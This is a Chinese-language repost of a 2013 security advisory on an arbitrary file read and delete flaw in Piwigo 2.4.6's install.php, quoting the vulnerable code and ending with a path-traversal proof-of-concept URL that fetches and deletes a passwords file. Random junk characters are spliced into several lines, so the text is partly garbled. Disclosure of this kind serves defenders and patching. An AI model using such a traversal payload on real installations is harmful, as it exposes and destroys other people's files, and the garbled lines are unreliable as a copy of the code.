Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# O5 Y& g) z4 h$ ]! o116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
5 ]9 D" V2 ~+ r& s0 G119:   header('Content-Transfer-Encoding: binary');
0 N9 p/ p9 d' Z: P! C120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
% m4 A, D3 }* C) [) v122:   unlink($filename);
8 D$ C" p9 @, k, f, m4 F. I123:   exit();
124: }
====================================================================
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/ j& A4 p: N' ^" U8 Z) D( b8 a$ i. c& k! BTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
1 Z. O" k) N2 @+ Y: ~& X           PHP 5.4.4
: I+ s; p" x* G9 k9 x3 t8 [           MySQL 5.5.25a
" J9 g4 v; F4 O  O0 Q, d
9 N5 z3 A2 u: e' y; Z+ @1 ?Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

, }) z% @0 Q5 j15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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